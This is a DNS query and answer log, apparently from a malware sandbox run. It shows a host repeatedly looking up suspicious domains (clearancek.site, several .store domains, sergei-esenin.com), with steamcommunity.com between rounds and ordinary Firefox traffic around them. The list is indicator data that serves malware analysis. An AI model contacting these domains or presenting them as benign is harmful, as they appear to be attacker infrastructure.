Oct 24, 2024 04:59:02.855371952 CEST	192.168.2.6	1.1.1.1	0x3eb2	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:02.875921965 CEST	192.168.2.6	1.1.1.1	0x86c3	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:02.878565073 CEST	192.168.2.6	1.1.1.1	0xd3ce	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.221079111 CEST	192.168.2.6	1.1.1.1	0xed79	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.273957014 CEST	192.168.2.6	1.1.1.1	0xf7b3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.292800903 CEST	192.168.2.6	1.1.1.1	0x5b8f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.306155920 CEST	192.168.2.6	1.1.1.1	0xfac5	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:03.428908110 CEST	192.168.2.6	1.1.1.1	0xbfe	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.482831001 CEST	192.168.2.6	1.1.1.1	0x3f9e	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.483010054 CEST	192.168.2.6	1.1.1.1	0x7ad4	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.501837969 CEST	192.168.2.6	1.1.1.1	0xc53e	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:03.506457090 CEST	192.168.2.6	1.1.1.1	0xffee	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:03.537090063 CEST	192.168.2.6	1.1.1.1	0x1a35	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.573220015 CEST	192.168.2.6	1.1.1.1	0x1c7f	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:04.997240067 CEST	192.168.2.6	1.1.1.1	0x1f07	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.016674995 CEST	192.168.2.6	1.1.1.1	0x5265	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.084446907 CEST	192.168.2.6	1.1.1.1	0x5265	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.264656067 CEST	192.168.2.6	1.1.1.1	0xc5e7	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.304604053 CEST	192.168.2.6	1.1.1.1	0xb48a	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.354566097 CEST	192.168.2.6	1.1.1.1	0xb48a	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.371553898 CEST	192.168.2.6	1.1.1.1	0x5430	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.387425900 CEST	192.168.2.6	1.1.1.1	0xeb02	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.413759947 CEST	192.168.2.6	1.1.1.1	0xeb02	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.417273998 CEST	192.168.2.6	1.1.1.1	0x3f08	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.433655977 CEST	192.168.2.6	1.1.1.1	0x83b8	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.446512938 CEST	192.168.2.6	1.1.1.1	0xa684	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.614098072 CEST	192.168.2.6	1.1.1.1	0x7260	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.622242928 CEST	192.168.2.6	1.1.1.1	0xb138	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.631373882 CEST	192.168.2.6	1.1.1.1	0xa63	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:07.341871977 CEST	192.168.2.6	1.1.1.1	0x6609	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.342180014 CEST	192.168.2.6	1.1.1.1	0x9914	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.342597008 CEST	192.168.2.6	1.1.1.1	0xdbe0	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.350809097 CEST	192.168.2.6	1.1.1.1	0x90e2	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.351526022 CEST	192.168.2.6	1.1.1.1	0xcc15	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.351778984 CEST	192.168.2.6	1.1.1.1	0xf49a	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.359061003 CEST	192.168.2.6	1.1.1.1	0x136b	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:07.359602928 CEST	192.168.2.6	1.1.1.1	0xea43	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 24, 2024 04:59:07.360110998 CEST	192.168.2.6	1.1.1.1	0xfa10	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:07.367141008 CEST	192.168.2.6	1.1.1.1	0x1641	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.367669106 CEST	192.168.2.6	1.1.1.1	0xc6a9	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.375139952 CEST	192.168.2.6	1.1.1.1	0xc258	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.375813961 CEST	192.168.2.6	1.1.1.1	0xa799	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.383366108 CEST	192.168.2.6	1.1.1.1	0x68b2	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:07.384047031 CEST	192.168.2.6	1.1.1.1	0x9ffc	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:07.406761885 CEST	192.168.2.6	1.1.1.1	0x68b2	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:09.430836916 CEST	192.168.2.6	1.1.1.1	0xd3e3	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:27.921020985 CEST	192.168.2.6	1.1.1.1	0x39b0	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:28.397038937 CEST	192.168.2.6	1.1.1.1	0xd683	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:28.398262024 CEST	192.168.2.6	1.1.1.1	0xa9f7	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.425775051 CEST	192.168.2.6	1.1.1.1	0x803b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:28.426528931 CEST	192.168.2.6	1.1.1.1	0x740d	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.426630020 CEST	192.168.2.6	1.1.1.1	0xcc4	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.478406906 CEST	192.168.2.6	1.1.1.1	0xb0d0	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:28.503923893 CEST	192.168.2.6	1.1.1.1	0x8437	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:28.504399061 CEST	192.168.2.6	1.1.1.1	0xef79	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:28.525110960 CEST	192.168.2.6	1.1.1.1	0x5a20	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:28.582427025 CEST	192.168.2.6	1.1.1.1	0xd3e2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:28.611802101 CEST	192.168.2.6	1.1.1.1	0xd3e2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:28.876703978 CEST	192.168.2.6	1.1.1.1	0x4bee	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:31.280273914 CEST	192.168.2.6	1.1.1.1	0x4502	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 04:59:31.781270027 CEST	192.168.2.6	1.1.1.1	0x64c	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:31.781635046 CEST	192.168.2.6	1.1.1.1	0x255a	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:31.782464027 CEST	192.168.2.6	1.1.1.1	0x24b5	Standard query (0)	twitter.com	28	IN (0x0001)	false
Oct 24, 2024 04:59:31.790025949 CEST	192.168.2.6	1.1.1.1	0xfcab	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 04:57:08.602230072 CEST	1.1.1.1	192.168.2.6	0x30c8	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.614586115 CEST	1.1.1.1	192.168.2.6	0x1fc	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.625281096 CEST	1.1.1.1	192.168.2.6	0x5e7	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.642041922 CEST	1.1.1.1	192.168.2.6	0xb061	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.662801027 CEST	1.1.1.1	192.168.2.6	0xeae6	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.674654961 CEST	1.1.1.1	192.168.2.6	0xcfff	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.686556101 CEST	1.1.1.1	192.168.2.6	0xd2ab	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.702831030 CEST	1.1.1.1	192.168.2.6	0x51b5	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:08.715260029 CEST	1.1.1.1	192.168.2.6	0x392e	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:10.396832943 CEST	1.1.1.1	192.168.2.6	0xd452	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:57:10.396832943 CEST	1.1.1.1	192.168.2.6	0xd452	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.751094103 CEST	1.1.1.1	192.168.2.6	0x92d9	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.763329983 CEST	1.1.1.1	192.168.2.6	0xac03	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.777177095 CEST	1.1.1.1	192.168.2.6	0xdb6f	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.793782949 CEST	1.1.1.1	192.168.2.6	0xf84	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.806044102 CEST	1.1.1.1	192.168.2.6	0x2397	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.817465067 CEST	1.1.1.1	192.168.2.6	0xb547	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.830214977 CEST	1.1.1.1	192.168.2.6	0xe9df	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.844659090 CEST	1.1.1.1	192.168.2.6	0xa63b	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:16.858815908 CEST	1.1.1.1	192.168.2.6	0xcb2d	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.370320082 CEST	1.1.1.1	192.168.2.6	0x3b18	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.381984949 CEST	1.1.1.1	192.168.2.6	0xde20	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.394857883 CEST	1.1.1.1	192.168.2.6	0x8a1	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.428715944 CEST	1.1.1.1	192.168.2.6	0x9ec1	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.444679976 CEST	1.1.1.1	192.168.2.6	0x9a19	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.454762936 CEST	1.1.1.1	192.168.2.6	0xb2af	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.468060017 CEST	1.1.1.1	192.168.2.6	0xb66c	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.480570078 CEST	1.1.1.1	192.168.2.6	0x68bf	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:32.490855932 CEST	1.1.1.1	192.168.2.6	0xf2f	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:45.629400015 CEST	1.1.1.1	192.168.2.6	0x540c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:45.677850962 CEST	1.1.1.1	192.168.2.6	0x1b12	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.799096107 CEST	1.1.1.1	192.168.2.6	0xa9c8	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.800504923 CEST	1.1.1.1	192.168.2.6	0x7c49	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:58:47.800504923 CEST	1.1.1.1	192.168.2.6	0x7c49	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.819845915 CEST	1.1.1.1	192.168.2.6	0x7a1f	No error (0)	youtube.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.820868969 CEST	1.1.1.1	192.168.2.6	0xfaa7	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:58:47.830744982 CEST	1.1.1.1	192.168.2.6	0xfb1	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 24, 2024 04:58:47.831782103 CEST	1.1.1.1	192.168.2.6	0x3f51	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 04:59:02.795053959 CEST	1.1.1.1	192.168.2.6	0xdfc5	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.798369884 CEST	1.1.1.1	192.168.2.6	0xe1f	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.824913979 CEST	1.1.1.1	192.168.2.6	0xee94	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.824913979 CEST	1.1.1.1	192.168.2.6	0xee94	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.824934959 CEST	1.1.1.1	192.168.2.6	0xeaee	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:02.824934959 CEST	1.1.1.1	192.168.2.6	0xeaee	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.825126886 CEST	1.1.1.1	192.168.2.6	0x19a8	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.830733061 CEST	1.1.1.1	192.168.2.6	0xfbf4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:02.830733061 CEST	1.1.1.1	192.168.2.6	0xfbf4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.849529982 CEST	1.1.1.1	192.168.2.6	0x1f0f	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:02.849529982 CEST	1.1.1.1	192.168.2.6	0x1f0f	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.849736929 CEST	1.1.1.1	192.168.2.6	0x4661	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:02.862692118 CEST	1.1.1.1	192.168.2.6	0xad37	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.229151964 CEST	1.1.1.1	192.168.2.6	0xed79	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:03.281779051 CEST	1.1.1.1	192.168.2.6	0xf7b3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.299999952 CEST	1.1.1.1	192.168.2.6	0x5b8f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.378099918 CEST	1.1.1.1	192.168.2.6	0xa31	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:03.378099918 CEST	1.1.1.1	192.168.2.6	0xa31	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.436599016 CEST	1.1.1.1	192.168.2.6	0xbfe	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:03.436599016 CEST	1.1.1.1	192.168.2.6	0xbfe	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.438446999 CEST	1.1.1.1	192.168.2.6	0x292d	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.489954948 CEST	1.1.1.1	192.168.2.6	0x3f9e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.490149975 CEST	1.1.1.1	192.168.2.6	0x7ad4	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.544986010 CEST	1.1.1.1	192.168.2.6	0x1a35	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:03.580663919 CEST	1.1.1.1	192.168.2.6	0x1c7f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 24, 2024 04:59:04.220976114 CEST	1.1.1.1	192.168.2.6	0xc8d4	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.007354975 CEST	1.1.1.1	192.168.2.6	0x1f07	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.025624990 CEST	1.1.1.1	192.168.2.6	0x5265	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.092442989 CEST	1.1.1.1	192.168.2.6	0x5265	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.274626017 CEST	1.1.1.1	192.168.2.6	0xc5e7	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.315388918 CEST	1.1.1.1	192.168.2.6	0xb48a	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.362746954 CEST	1.1.1.1	192.168.2.6	0xb48a	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.384978056 CEST	1.1.1.1	192.168.2.6	0x5430	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.396703005 CEST	1.1.1.1	192.168.2.6	0xeb02	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.421035051 CEST	1.1.1.1	192.168.2.6	0xeb02	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.431458950 CEST	1.1.1.1	192.168.2.6	0x3f08	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.443104982 CEST	1.1.1.1	192.168.2.6	0x83b8	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.454066038 CEST	1.1.1.1	192.168.2.6	0xa684	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.621282101 CEST	1.1.1.1	192.168.2.6	0x7260	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:05.621282101 CEST	1.1.1.1	192.168.2.6	0x7260	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:05.621282101 CEST	1.1.1.1	192.168.2.6	0x7260	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:05.630768061 CEST	1.1.1.1	192.168.2.6	0xb138	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349787951 CEST	1.1.1.1	192.168.2.6	0x6609	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349867105 CEST	1.1.1.1	192.168.2.6	0x9914	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:07.349867105 CEST	1.1.1.1	192.168.2.6	0x9914	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.350362062 CEST	1.1.1.1	192.168.2.6	0xdbe0	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 04:59:07.350362062 CEST	1.1.1.1	192.168.2.6	0xdbe0	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 24, 2024 04:59:07.358305931 CEST	1.1.1.1	192.168.2.6	0x90e2	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
